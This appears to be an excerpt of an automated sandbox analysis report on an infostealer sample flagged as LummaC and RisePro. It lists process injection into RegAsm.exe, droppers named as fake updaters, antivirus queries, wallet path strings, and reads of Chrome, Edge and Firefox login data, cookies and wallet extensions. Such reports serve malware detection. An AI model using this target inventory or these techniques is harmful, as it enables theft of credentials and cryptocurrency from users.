Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Queries volume information: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Queries volume information: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Queries volume information: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Queries volume information: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Code function: 0_2_00C8DEAD GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00C8DEAD

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000007.00000002.1920810654.0000000001472000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.1936828284.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.1936237566.00000000015CF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.1939197101.0000000000705000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.1939197101.0000000000785000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2049332296.000000000358C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2128, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000003.1824382503.0000000005E26000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\uw5Stgma3gbM9Xo4g_6cCoQ.zip, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 2q45IEa3Ee.exe, 00000000.00000002.1878839470.0000000005FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: RegAsm.exe, 00000007.00000002.1920616270.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
